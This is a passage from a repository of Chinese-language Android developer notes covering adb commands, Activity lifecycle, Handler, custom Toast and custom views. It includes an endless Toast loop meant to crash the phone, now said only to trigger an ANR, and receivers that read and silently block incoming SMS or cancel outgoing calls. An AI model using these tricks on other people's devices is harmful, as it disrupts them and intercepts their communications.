Intent();\n\t\tintent.setAction(\"android.settings.APPLICATION_DETAILS_SETTINGS\");\n\t\tintent.addCategory(\"android.intent.category.DEFAULT\");\n\t\tintent.setData(Uri.parse(\"package:\" + packname));\n\t\tstartActivity(intent);\n\t} else {\n\t\t// 适合2.2 以及以下系统\n\t\tIntent intent = new Intent();\n\t\tintent.setAction(\"android.intent.action.VIEW\");\n\t\tintent.addCategory(\"android.intent.category.DEFAULT\");\n\t\tintent.addCategory(\"android.intent.category.VOICE_LAUNCH\");\n\t\tintent.putExtra(\"pkg\", packname);\n\t\tstartActivity(intent);\n\t}\n}\n```\n\n7.手机重启\n---\n\n该方法已失效，现在只会出现`ANR`无法重启                       \n通过不断的`new`出来空白的`Toast`把系统弄崩溃，这样系统就会重启。         \n```java\npublic void click(View view) {\n    while (true) {\n        Toast toast = new Toast(this);\n        toast.setView(new View(this));\n        toast.show();\n    }\n}\n```\n\n8.adb shell 启动应用\n---\n\n启动的方法为\n```\n$ adb shell\n$ am start -n ｛包(package)名｝/｛包名｝.{活动(activity)名称}\n```\n由此计算器（calculator）的启动方法为：    \n```\nam start -n com.android.calculator2/.Calculator\n```\n\n启动浏览器 :\n```\nam start -a android.intent.action.VIEW -d  http://www.google.cn/\n```\n\n拨打电话 :\n```\nam start -a android.intent.action.CALL -d tel:10086\n```\n\n开启`Service`:\n```\nam startservice -n com.example.demo/.service.DemoService\n```\n\n从4.2开始`Android`加入了多用户，所以用上面的命令就不行了，要加上`user`的参数。\n\n9.启动`APK`默认`Activity`\n---\n\n```java\npublic static void startApkActivity(final Context ctx, String packageName) {\n        PackageManager pm = ctx.getPackageManager();\n        PackageInfo pi;\n        try {\n            pi = pm.getPackageInfo(packageName, 0);\n            Intent intent = new Intent(Intent.ACTION_MAIN, null);\n            intent.addCategory(Intent.CATEGORY_LAUNCHER);\n            intent.setPackage(pi.packageName);\n\n            List<ResolveInfo> apps = pm.queryIntentActivities(intent, 0);\n\n            ResolveInfo ri = apps.iterator().next();\n            if (ri != null) {\n                String className = ri.activityInfo.name;\n                intent.setComponent(new ComponentName(packageName, className));\n                ctx.startActivity(intent);\n            }\n        } catch (NameNotFoundException e) {\n            Log.e(\"startActivity\", e);\n        }\n    }\n}\n```\n\n10.TextView行间距\n---\n\n`Android`系统中`TextView`默认显示中文时会比较紧凑，不是很美观。   \n为了让每行保持一定的行间距，可以设置属性`android:lineSpacingExtra`或`android:lineSpacingMultiplier`\n\n1. `android:lineSpacingExtra`       \n    设置行间距，如”3dp”。\n\n2. `android:lineSpacingMultiplier`     \n    设置行间距的倍数，如”1.2″。\n\n11.`Android Pull Push`命令\n---\n\n`adb`命令下`pull`的作用是从手机端向电脑端拷文件。\n命令：\n```\n//将手机卡中的某个文本文件复制到电脑D盘\nadb pull /sdcard/**.txt   D:\\                         \nadb pull /data/data/com.ifeng.newvideo/databases/ifengVideoV6.db e:/\n```\n\n`push`的作用和`pull`正好相反， 是从电脑端向手机复制文件的。下面是例子\n```\nadb push d:\\lzd.doc /mnt/sdcard/jaj_training/fingerprint/\n```\n\n**注意：这些命令都是在`adb`下用，而不是在`shell`中用。**\n\n12.Android 4.0横竖屏切换\n---\n\n- `Android 2.3`以前的横竖屏切换\n\n在Android 2.3平台上，我们可以需要设置界面的横竖屏显示时，可以在AndroidManifest.xml中，对Activity的属性添加以下代码：\n```java\nandroid:configChanges=\"keyboardHidden|orientation\"同时在Activity中覆写onConfigurationChanged方法\n```\n\n- `Android 4.0`以后的横竖屏切换\n\n当我们在4.0上像之前那样设置横竖屏时，会发现竟然没有效果，Activity依然走自己的生命周期，这是因为在API level 13以后Android做了修改了，当设备横竖屏切换时屏幕尺寸也改变了。因此，如果你想在API Level 13或者更高的环境下，像以前那样阻止设备的横竖屏切换，你需要在orientation后加上screenSize。也就说你要像这样声明：\n```java\nandroid:configChanges=\"keyboardHidden|orientation|screenSize\"\n```   \n同时依然要在`Activity`中覆写`onConfigurationChanged`方法\n```java\n@Override\npublic void onConfigurationChanged(Configuration newConfig) {\n    super.onConfigurationChanged(newConfig);\n    Log.i(\"TAG\",\"I'm Android 4.0\");\n}\n```\n\n13.广播接收者中开启Activity\n---\n\n如果在一个不是`Activity`的上下文中(如服务或者广播接收者)中去开启一个`Activity`那么就必须设置`intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);`这样才可以，不然会报错.因为Activity开启后必须要有一个`Task`栈，而在服务和广播接收者的上下文中并没有`Task`栈，所以我们必须要去指定一个新的栈。\n```java\npublic class OutCallReceiver extends BroadcastReceiver {\n    @Override\n    public void onReceive(Context context, Intent intent) {\n        String number = getResultData();\n        if(\"20182018\".equals(number)){\n            Intent loatFindIntent = new Intent(context,LostFindActivity.class);\n            loatFindIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//用非Activity的context开启Activity时候必须加上这一句\n            context.startActivity(loatFindIntent);\n            setResultData(null);//设置外拨的电话号码为空.这样系统就不会启动拨号拨出了\n        }\n    }\n}\n```\n\n14.`onSaveInstanceState()`以及`onRestoreInstanceState()`\n---\n\n- Activity完整的生命周期\n`onCreate()` --> `onStart()` --> `onRestoreInstanceState()` --> `onResume()` --> `onSaveInstanceState()` --> `onPause()` --> `onStop()` --> `onDestroy()`\n\n- 有关`onSaveInstanceState`以及`onRestoreInstanceState`这两个方法我们都知道是用于`Activity`销毁和重建时数据的保存。\n- 按**Back键**或者是调用**finish()**方法去**主动销毁Activity**时，这时候系统会认为是我们不再需要该`Activity`，系统不会执行`onSaveInstanceState`。\n- 按**Home键**直接将程序后台，这时候系统会执行`onSaveInstanceState()`这时候系统知道不是你不需要这个Activity只是后台了。  \n此时我们唤醒应用，不会执行`onRestoreInstanceState`这个方法，因为我们后台再唤醒后该`Activity`并没有**销毁重建**，所以这时候就不会去调用`onRestoreInstanceState`。\n- 按**Home键**会执行onSaveInstanceState，然后系统由于内存不足将进程杀死了，这时候系统就感觉自己做的不对，要给你恢复状态，当我们再次启动程序的时候就会执行`onRestoreInstanceState`这个方法来给我们恢复数据。\n- 在默认的`Activity`中，如果进行横竖屏切换的时候系统会销毁并且重新创建`Activity`，这时候系统就会执行`onSaveInstanceState`以及`onRestoreInstanceState`，因为这是系统把`Activity`给销毁了，系统要负责就执行这两个方法来给你保存和恢复数据。\n\n15.三种不同的上下文\n---\n\n- Activity.this\n该`Context`的生命周期与`Activity`的生命周期相同。    \n在创建对话框传递上下文的时候必须要传递`Activit.this`，因为对话框要指定挂载到哪个`Activity`上，对话框是挂载到`Activity`上，所以对话框弹出时`Activity`不会走`onPause()`方法。如果传递`getApplicationContext()`就会报错.\n- mContext.getApplicationContext()\n该`Context`的生命周期与应用程序的进程相同，生命周期很长。\n- AndroidTestCase中getContext()\n该`Context`是测试框架模拟出来的一个上下文环境。\n \n一般的情况下传递`Activity.this`或`Service.this`就能满足需求，但是如果有要求保持数据库的长时间打开等对生命周期有要求的情况下就要使用`getApplicationContext`，\n这样只要是应用程序的进程存活`getApplicationContext`就会一直存在.,考虑到内存泄露的问题，在没有特殊别要的情况下能用`getApplicationContext`就尽量用它,\n\n\n16.`Monkey`测试\n---\n\n```\nadb shell\nmonkey -p com.charon.test -v 500\n```\n\n17.`Handler`以及`HandlerThread`\n---\n\n1. `Handler`    \n\n```\nA Handler allows you to send and process Message and Runnable objects associated with a thread's MessageQueue. Each Handler instance is associated with a single thread and that thread's message queue. \nWhen you create a new Handler, it is bound to the thread / message queue of the thread that is creating it -- from that point on, \nit will deliver messages and runnables to that message queue and execute them as they come out of the message queue.\n\n    There are two main uses for a Handler: (1) to schedule messages and runnables to be executed as some point in the future; and (2) to enqueue an action to be performed on a different thread than your own.\n\n    Scheduling messages is accomplished with the post(Runnable), postAtTime(Runnable, long), postDelayed(Runnable, long), sendEmptyMessage(int), sendMessage(Message), sendMessageAtTime(Message, long), \n\tand sendMessageDelayed(Message, long) methods. The post versions allow you to enqueue Runnable objects to be called by the message queue when they are received; \n\tthe sendMessage versions allow you to enqueue a Message object containing a bundle of data that will be processed by the Handler's handleMessage(Message) method (requiring that you implement a subclass of Handler).\n\n    When posting or sending to a Handler, you can either allow the item to be processed as soon as the message queue is ready to do so, or specify a delay before it gets processed or absolute time for it to be processed. \n\tThe latter two allow you to implement timeouts, ticks, and other timing-based behavior.\n\n    When a process is created for your application, its main thread is dedicated to running a message queue that takes care of managing the top-level application objects (activities, broadcast receivers, etc) \n\tand any windows they create. You can create your own threads, and communicate back with the main application thread through a Handler. This is done by calling the same post or sendMessage methods as before, \n\tbut from your new thread. The given Runnable or Message will then be scheduled in the Handler's message queue and processed when appropriate.\n```\n\n2. `HandlerThread`\nHandy class for starting a new thread that has a looper. The looper can then be used to create handler classes. Note that start() must still be called.    \n`HandlerThread`是一个有`Looper`的线程，这个`Looper`可以用于创建`Handler`。也是就是该`HandlerThread`内部自己维护着一个消息队列以及`Looper`，\n当我们使用以该`Looper`创建的`Handler`去执行`handler.sendMessage(Message msg)`或者`handler.post(Runnable thread)`时会将消息或者线程发送到`HandlerThread`这个线程中而不是主线程，\n消息队列也是由该线程自己执行而不会影响到主线程的执行，这样就防止了主UI线程能够及时响应用户的操作，防止了`ANR`错误。简单的说`HandlerThread`就是一个有`Looper`功能的`Thread`。\n\n示例代码：\n```java\nHandlerThread handlerThread = new HandlerThread(\"Test\");\nhandlerThread.start();\nhandler = new MyHandler(handlerThread.getLooper());\n\nclass MyHandler extends Handler {\n\tpublic MyHandler() {}\n\tpublic MyHandler(Looper looper) {\n\t\tsuper(looper);\n\t}\n\t@Override\n\tpublic void handleMessage(Message msg) {   \n\t//TODO \n\t}\n}\n```\n\n18.横竖屏切换\n---\n\n```java\n//强制横屏      \nsetRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);   \n```\n判断当前屏幕的横竖屏\n```java\nif (this.getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE) {\n// 横屏\n} else if (this.getResources().getConfiguration().orientation ==Configuration.ORIENTATION_PORTRAIT) {\n    // 竖屏\n}\n```\n \n19.设置和取消全屏\n---\n\n```java\nprotected void setFullscreen(boolean on) {\n    Window win = getWindow();\n    WindowManager.LayoutParams winParams = win.getAttributes();\n    final int bits = WindowManager.LayoutParams.FLAG_FULLSCREEN;\n    if (on) {\n        winParams.flags |= bits;\n    } else {\n        winParams.flags &= ~bits;\n    }\n    win.setAttributes(winParams);\n}\n```\n\n20.毛玻璃效果\n---\n\n1. 要想自定义一个毛玻璃效果必须在这个Activity中的onCreate方法中使用这一个代码\n    ```java\n    // Have the system blur any windows behind this one.\n    getWindow().setFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND,\n        WindowManager.LayoutParams.FLAG_BLUR_BEHIND); \n    ```\n\n2. 但是发现这样仍然没有效果，这是因为APIDemo中对这个毛玻璃效果的Activity在项目清单文件中配置了一个主题，所以我们也要在我们的这个Activity中配置这个主题\n    ```java\n    <activity\n        android:name=\".DragViewActivity\"\n        android:theme=\"@style/Theme.Transparent\" >\n    </activity> \n    ```\n\n3. 这是一个自定义的主题我们没有这个主题，要拷贝APIDemo中的这个主题到res-values-styles.xml中\n    ```java\n    <style name=\"Theme.Transparent\">\n        <item name=\"android:windowIsTranslucent\">true</item>\n        <item name=\"android:windowAnimationStyle\">@android:style/Animation.Translucent</item>\n        <item name=\"android:windowBackground\">@android:color/transparent</item>\n        <item name=\"android:windowNoTitle\">true</item>\n        <item name=\"android:colorForeground\">#fff</item>\n    </style> \n    ```\n4. 这里发现这个主题的名字有点奇怪来时Theme.Transparent说明这个主题是Theme这个主题的子类，所以也要把Theme这个主题拷贝进来\n    ```xml\n    <style name=\"Theme\" parent=\"android:Theme\"></style>\n    ```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/短信广播接收者.md",
    "content": "短信广播接收者\n===\n\n短信拦截\n---\n\n`Android`系统在收到短信的时候会发送一条有序广播，我们如果定义一个接收者接收这个广播，就可以得到短信内容，也可以拦截短信。        \n定义广播接收者接收广播`android.provider.Telephony.SMS_RECEIVED`      \n需要接收短信权限：`<uses-permission android:name=\"android.permission.RECEIVE_SMS\"/>`    \n`Android`系统中收到短信的通知是一个**有序广播**，我们如需拦截垃圾短信，可以配置较高的`Priority`，收到信息进行判断是否`abortBroadcast()`         \n\n```java\npublic class SmsReceiver extends BroadcastReceiver {\n\n    @Override\n    public void onReceive(Context context, Intent intent) {\n        Object[] pdus = (Object[]) intent.getExtras().get(\"pdus\");      // 获取短信数据(可能有多段)\n        for (Object pdu : pdus) {\n            SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu);    // 把短信数据封装成SmsMessage对象\n            Date date = new Date(sms.getTimestampMillis());             // 短信时间\n            String address = sms.getOriginatingAddress();               // 获取发信人号码\n            String body = sms.getMessageBody();                         // 短信内容\n\n            System.out.println(date + \", \" + address + \", \" + body);    \n            if (\"18600012345\".equals(address)) {\n                abortBroadcast();\n                return;\n            }\n        }\n    }\n}\n```\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/程序的启动、卸载和分享.md",
    "content": "程序的启动、卸载和分享\n===\n\n1. 启动\n\n\t```java\n\t /**\n     * 开启一个应用程序\n     */\n    private void startApk() {\n        PackageManager pm = getPackageManager();\n        try {\n        // 原来的时候我们在得到PakageInfo的时候第二个参数都是设置为0.这个PackageInfo代表的就是某个程序的清单文件，\n\t\t// 默认情况下在解析这个清单文件的时候得到的只是清单文件中的一些版本信息的等这些常用的内容，因为要获取更多的内容需要解析更多的内容，\n\t\t// 就会消耗时间消耗资源，所以默认的时候都是只解析一些常用的，当我们要获取Activity等这些的时候就要给它一个标记，让它知道多解析这些你想要得到的内容，\n\t\t// 如果我们想得到里面的activity或者service等这些啊就必须将第二个参数设置为相应的PackageManager.GET_ACTIVITYS等\n            PackageInfo info = pm.getPackageInfo(selectedAppInfo.getPackname(),PackageManager.GET_ACTIVITIES);\n            ActivityInfo[] activityInfos = info.activities;//获取清单中所有Activity信息的数据\n            if (activityInfos != null && activityInfos.length > 0) {//由于一些服务或者接收者等没有Activity所以这里必须进行判断\n                ActivityInfo activitInfo = activityInfos[0];//清单文件中配置的第一个Activity就是程序的启动Activity\n                Intent intent = new Intent();\n                intent.setClassName(selectedAppInfo.getPackname(),activitInfo.name);//这个activityInfo就是清单中activity节点的name，这样就能得到Activity的全类名\n                startActivity(intent);\n            } else {\n                Toast.makeText(this, \"无法启动应用程序\", 0).show();\n            }\n        }\n\t}\n\t```\n\n2. 卸载\n\n\t```java\n\t安卓系统提供了程序的卸载Activity，我们只要调用它的卸载就可以了，也是系统的PackageInstaller中的\n\tIntent intent = new Intent();\n\tintent.setAction(\"android.intent.action.VIEW\");\n\tintent.setAction(\"android.intent.action.DELETE\");\n\tintent.addCategory(\"android.intent.category.DEFAULT\");\n\tintent.setData(Uri.parse(\"package:\" + selectedAppInfo.getPackname()));//意图的数据必须是package://和包名\n\tstartActivity(intent); \n\t```\n\n3. 分享\n\n\t就是启动出来信息的发送页面，将内容给填充进去所以这里要启动系统发送短信的Activity，要用到系统发送短信的Activity\n\t\n\t```java\n    /**\n     * 分享一个应用程序\n     */\n    private void shareApk() {\n        Intent intent = new Intent();\n        // <intent-filter>\n        // <action android:name=\"android.intent.action.SEND\" />\n        // <category android:name=\"android.intent.category.DEFAULT\" />\n        // <data android:mimeType=\"text/plain\" />\n        // </intent-filter>\n        intent.setAction(Intent.ACTION_SEND);\n        intent.addCategory(Intent.CATEGORY_DEFAULT);\n        intent.setType(\"text/plain\");\n        intent.putExtra(\n                Intent.EXTRA_TEXT,\n                \"推荐你使用一款软件,名称为\" + selectedAppInfo.getAppName()\n                        + \"下载地址:google play xxx,版本:\"\n                        + selectedAppInfo.getVersion());\n        startActivity(intent);\n    } \n\t```   \n\t\n\t谷歌工程师在设计这个程序的时候，任何应用程序如果想使用分享的功能都可以通过实现它的Intent来实现，点击的时候可以选择不同的程序，同样也能分享到微博，\n\t邮件等程序\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/竖着的Seekbar.md",
    "content": "竖着的Seekbar\n===\n\n视频播放器页面音量控制`Seekbar`实现竖直的效果。竖直只是将`Seekbar`转了90度或-90度，我们可以把画布转一个角度，然后交给系统去画，\n具体的做法就是重写`ondraw()`调整画布，然后调用`super.onDraw()`。   \n\n- 向上的Seekbar\n```java\n    protected void onDraw(Canvas c) {\n    \tc.rotate(-90);\n    \tc.translate(-height,0);//height是你的verticalseekbar的高\n    \tsuper.onDraw(c);\n    }\n```\n\n- 向下的seekbar则应该是：\n```java\n    protected void onDraw(Canvas c) {\n    \tc.rotate(90);\n    \tc.translate(0,-width);//width是你的verticalseekbar的宽\n    \tsuper.onDraw(c);\n    }\n```\n- 示例代码\n```java\n    public class VerticalSeekBar extends SeekBar {\n        public VerticalSeekBar(Context context) {\n            super(context);\n        }\n        public VerticalSeekBar(Context context, AttributeSet attrs, int defStyle) {\n            super(context, attrs, defStyle);\n        }\n        public VerticalSeekBar(Context context, AttributeSet attrs) {\n            super(context, attrs);\n        }\n        protected void onSizeChanged(int w, int h, int oldw, int oldh) {\n            super.onSizeChanged(h, w, oldh, oldw);\n        }\n    \n        @Override\n        protected synchronized void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {\n            super.onMeasure(heightMeasureSpec, widthMeasureSpec);\n            setMeasuredDimension(getMeasuredHeight(), getMeasuredWidth());\n        }\n        \n        protected void onDraw(Canvas c) {\n            c.rotate(-90);\n            c.translate(-getHeight(), 0);\n            super.onDraw(c);\n        }\n        \n        @Override\n        public synchronized void setProgress(int progress) {\n            super.setProgress(progress);\n            onSizeChanged(getWidth(), getHeight(), 0, 0);  \n        }\n        \n        @Override\n        public boolean onTouchEvent(MotionEvent event) {\n            if (!isEnabled()) {\n                return false;\n            }\n            switch (event.getAction()) {\n                case MotionEvent.ACTION_DOWN:\n                case MotionEvent.ACTION_MOVE:\n                case MotionEvent.ACTION_UP:\n                    setProgress((int) ((int) getMax()- (getMax() * event.getY() / getHeight())));\n                    break;\n                default:\n                    return super.onTouchEvent(event);\n            }\n            return true;\n        }\n    }  \n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/自定义Toast.md",
    "content": "自定义Toast\n===\n\n系统`Toast`提示时不能够进行取消，如果有多个`Toast`时会很长时间才消失。自定义`Toast`通过`WindowManager`来进行手动的控制`Toast`的显示与隐藏。能有效的解决该问题。\n\n`Toast`提示的布局\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"wrap_content\"\n    android:layout_height=\"wrap_content\"\n    android:background=\"@android:drawable/toast_frame \"\n    android:gravity=\"center\"\n    android:orientation=\"horizontal\" >\n    <ImageView\n        android:id=\"@+id/toast_img\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:visibility=\"gone\" />\n    <TextView\n        android:id=\"@+id/toast_text\"\n        android:layout_width=\"0dip\"\n        android:layout_height=\"wrap_content\"\n        android:layout_gravity=\"center_horizontal\"\n        android:layout_weight=\"1\"\n        android:textAppearance=\"@android:style/TextAppearance.Small\"\n        android:textColor=\"#ffffffff\" />\n</LinearLayout>\n``` \n\n```java\n/**\n * 吐司提示的工具类，能够控制吐司的显示和隐藏\n */\npublic class ToastUtil {\n    public static final int LENGTH_SHORT = 0;\n    public static final int LENGTH_LONG = 1;\n    private static View toastView;\n    private WindowManager mWindowManager;\n    private static int mDuration;\n    private final int WHAT = 100;\n    private static View oldView;\n    private static Toast toast;\n    private static CharSequence oldText;\n    private static CharSequence currentText;\n    private static ToastUtil instance = null;\n    private static TextView textView;\n \n    private ToastUtil(Context context) {\n        mWindowManager = (WindowManager) context.getApplicationContext()\n                .getSystemService(Context.WINDOW_SERVICE);\n        toastView = LayoutInflater.from(context).inflate(R.layout.toast_view,\n                null);\n        textView = (TextView) toastView.findViewById(R.id.toast_text);\n        toast = Toast.makeText(context, \"\", Toast.LENGTH_SHORT);\n    }\n    private static ToastUtil getInstance(Context context) {\n        if (instance == null) {\n            synchronized (ToastUtil.class) {\n                if (instance == null)\n                    instance = new ToastUtil(context);\n            }\n        }\n        return instance;\n    }\n    public static ToastUtil makeText(Context context, CharSequence text,\n            int duration) {\n        ToastUtil util = getInstance(context);\n        mDuration = duration;\n        toast.setText(text);                \n        currentText = text;\n        textView.setText(text);\n        return util;\n    }\n    public static ToastUtil makeText(Context context, int resId, int duration{\n        ToastUtil util = getInstance(context);\n        mDuration = duration;\n        toast.setText(resId); \n        currentText = context.getResources().getString(resId);\n        textView.setText(context.getResources().getString(resId));\n        return util;\n    }\n    /**\n     * 进行Toast显示，在显示之前会取消当前已经存在的Toast\n     */\n    public void show() {\n        long time = 0;\n        switch (mDuration) {\n        case LENGTH_SHORT:\n            time = 2000;\n            break;\n        case LENGTH_LONG:\n            time = 3500;\n            break;\n        default:\n            time = 2000;\n            break;\n        }\n        if (currentText.equals(oldText) && oldView.getParent() != null) {\n            toastHandler.removeMessages(WHAT);\n            toastView = oldView;\n            oldText = currentText;\n            toastHandler.sendEmptyMessageDelayed(WHAT, time);\n            return;\n        }\n        cancelOldAlert();\n        toastHandler.removeMessages(WHAT);\n        WindowManager.LayoutParams params = new WindowManager.LayoutParams();\n        params.height = WindowManager.LayoutParams.WRAP_CONTENT;\n        params.width = WindowManager.LayoutParams.WRAP_CONTENT;\n        params.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE\n                | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE\n                | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON;\n        params.format = PixelFormat.TRANSLUCENT;\n        params.windowAnimations = android.R.style.Animation_Toast;\n        params.type = WindowManager.LayoutParams.TYPE_TOAST;\n        params.setTitle(\"Toast\");\n        params.gravity = toast.getGravity();\n        params.y = toast.getYOffset();\n        if (toastView.getParent() == null) {\n            mWindowManager.addView(toastView, params);\n        }\n        oldView = toastView;\n        oldText = currentText;\n        toastHandler.sendEmptyMessageDelayed(WHAT, time);\n    }\n    private Handler toastHandler = new Handler() {\n        @Override\n        public void handleMessage(Message msg) {\n            super.handleMessage(msg);\n            cancelOldAlert();\n            int id = msg.what;\n            if (WHAT == id) {\n                cancelCurrentAlert();\n            }\n        }\n    };\n    private void cancelOldAlert() {\n        if (oldView != null && oldView.getParent() != null) {\n            mWindowManager.removeView(oldView);\n        }\n    }\n    public void cancelCurrentAlert() {\n        if (toastView != null && toastView.getParent() != null) {\n            mWindowManager.removeView(toastView);\n        }\n    }\n}\n```\n\n\n在某些Pad上面Toast显示出来后就不会自动消失，在这些Pad上`toastView.getParent()会为nul`这样就导致无法移除。可以将`cancelOldAlert()`以及\n`cancelCurrentAlert()`进行如下修改。\n\n```java\nprivate void cancelOldAlert() {\n    if (oldView != null) { // 去掉 oldView.getParent() != null 这个参数，然后加上try catch代码块，解决在部分Pad上oldView.getParent()不准确的问题 \n        try {\n            mWindowManager.removeView(oldView);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n\npublic void cancelCurrentAlert() {\n    if (toastView != null) {\n        try {\n\t\t    // 去掉 oldView.getParent() != null 这个参数，然后加上try catch代码块，解决在部分Pad上oldView.getParent()不准确的问题 \n            mWindowManager.removeView(toastView);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    } else if (oldView != null) {\n        try {\n            mWindowManager.removeView(oldView);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n```\n\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/自定义控件.md",
    "content": "自定义控件\n===\n\n自定义控件的步骤\n---\n\n- 自定义一个View继承ViewGroup等相似效果的View;  \n- 重写构造方法   \n可以在构造方法中附加要显示的内容如下：     \n`View.inflate(context, R.layout.ui_setting_view, this);`\n这里就是让这个填充出来的`View`显示到当前我们自定义的这个布局中`View`的构造方法共有三个，其中一个参数的构造方法，是通过代码`new`对象的时候调用，\n两个参数的构造方法是通过在`xml`布局文件中声明的构造     \n- 实现通过`Xml`文件配置属性\n    - `values`目录下新建`attrs.xml`\n    - 内容如下\n\t\t```xml\n\t\t<declare-styleable name=\"SettingView\">\n\t\t\t<attr name=\"title\" format=\"string\" />\n\t\t</declare-styleable>\n\t\t```\n配置完成后会自动在`R`文件中生产对应的`R.styleable`内部类\n- 代码设置\n    - 在构造函数中将`Xml`配置与属性值建立映射关系\n    - 使用`typedArray.getString(R.styleable.SettingView_title)`得到`xml`中的属性值，并且设置给相应控件的属性。\n    - 调用`typedArray.recycle()`; 回收掉资源.\n\t\t```java\n\t\tpublic SettingView(Context context, AttributeSet attrs) {\n\t\t\tsuper(context, attrs);\n\t\t\tTypedArray typedArray = mContext.obtainStyledAttributes(attrs, R.styleable.SettingView);\n\t\t\t//R.styleable.SettingView_title为R文件中自动生成的相应属性名\n\t\t\tString title = typedArray.getString(R.styleable.SettingView_title);\n\t\t\tsetTitle(title);\n\t\t\ttypedArray.recycle();\n\t\t}\n\t\t```\n- 布局使用  \n    `Android`的命名空间为`xmlns:android=http://schemas.android.com/apk/res/android`   \n定义自己的命名空间时只需要把最后面的`android`改为我们应用程序的包名\n`xmlns:itheima=\"http://schemas.android.com/apk/res/com.charon.test\"`\n\n以系统设置页面的选中为例\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/custom_widget.jpg)\n \n1. 样式   \n\t示例代码：`settingview.xml`\n\t```xml\n\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\t\tandroid:layout_width=\"match_parent\"\n\t\tandroid:layout_height=\"wrap_content\" >\n\t\t<TextView\n\t\t\tandroid:id=\"@+id/tv_settingview_title\"\n\t\t\tandroid:layout_width=\"wrap_content\"\n\t\t\tandroid:layout_height=\"wrap_content\"\n\t\t\tandroid:layout_alignParentLeft=\"true\"\n\t\t\tandroid:layout_alignParentTop=\"true\"\n\t\t\tandroid:layout_marginLeft=\"4dip\"\n\t\t\tandroid:text=\"功能的描述\"\n\t\t\tandroid:textAppearance=\"?android:attr/textAppearanceLarge\"\n\t\t\tandroid:textColor=\"#000000\" />\n\t\t<TextView\n\t\t\tandroid:id=\"@+id/tv_settingview_status\"\n\t\t\tandroid:layout_width=\"wrap_content\"\n\t\t\tandroid:layout_height=\"wrap_content\"\n\t\t\tandroid:layout_alignParentLeft=\"true\"\n\t\t\tandroid:layout_below=\"@+id/tv_settingview_title\"\n\t\t\tandroid:layout_marginLeft=\"4dip\"\n\t\t\tandroid:layout_marginTop=\"5dip\"\n\t\t\tandroid:text=\"功能的状态\"\n\t\t\tandroid:textAppearance=\"?android:attr/textAppearanceSmall\"\n\t\t\tandroid:textColor=\"#88000000\" />\n\t\t<CheckBox\n\t\t\tandroid:clickable=\"false\"\n\t\t\tandroid:focusable=\"false\"\n\t\t\tandroid:id=\"@+id/cb_settingview_status\"\n\t\t\tandroid:layout_width=\"wrap_content\"\n\t\t\tandroid:layout_height=\"wrap_content\"\n\t\t\tandroid:layout_alignParentRight=\"true\"\n\t\t\tandroid:layout_alignParentTop=\"true\" />\n\t</RelativeLayout>\n\t```\n\n2. 在`res-values`下面新建一个`attrs.xml`文件\n\t```xml\n\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<resources>\n\t\t<declare-styleable name=\"SettingView\">//这个name就是我们自定义的组合控件的名字\n\t\t\t<attr name=\"title\" format=\"string\" />  //这个attr的name就是我们要在xml文件中直接使用的属性format是指这个属性的值是什么类型的\n\t\t\t<attr name=\"unchecked_text\" format=\"string\" />\n\t\t\t<attr name=\"checked_text\" format=\"string\" />\n\t\t</declare-styleable>\n\t</resources>\n\t```\n\n3. 自定义一个类继承`ViewGroup`\n\t```java\n\tpublic class SettingView extends RelativeLayout {\n\t\tprivate TextView tv_settingview_title;\n\t\tprivate TextView tv_settingview_status;\n\t\tprivate CheckBox cb_settingview_status;\n\t\tprivate String check_text; // 选中文本\n\t\tprivate String uncheck_text; // 未选中文本\n\n\t\tpublic SettingView(Context context, AttributeSet attrs, int defStyle) {\n\t\t\tsuper(context, attrs, defStyle);\n\t\t}\n\n\t\t/**\n\t\t * 布局文件创建view对象 会使用 有两个参数的构造方法.\n\t\t */\n\t\tpublic SettingView(Context context, AttributeSet attrs) {\n\t\t\tsuper(context, attrs);\n\t\t\tView view = View.inflate(context, R.layout.ui_setting_view, this);//inflate之后直接指定了父元素就是this，所以这句代码一执行就会在Relativelayout中显示出来这个样式\n\t\t\tcb_settingview_status = (CheckBox) view\n\t\t\t\t\t.findViewById(R.id.cb_settingview_status);\n\t\t\ttv_settingview_status = (TextView) view\n\t\t\t\t\t.findViewById(R.id.tv_settingview_status);\n\t\t\ttv_settingview_title = (TextView) view\n\t\t\t\t\t.findViewById(R.id.tv_settingview_title);\n\t\t\t// 把自定义的属性 和 属性集attrs 建立一个对应关系.在用attrs.xml声明了之后会在R文件中生成一个R.styleable.SettingView这是一个int型的数组，数组中是我们在attrs中声明的三个attr属性\n\t\t\tTypedArray a = context.obtainStyledAttributes(attrs, R.styleable.SettingView);\n\t\t\tString title = a.getString(R.styleable.SettingView_title);//这个R.styleable.SettingView_title就是我们在attrs中定义的title\n\t\t\tcheck_text = 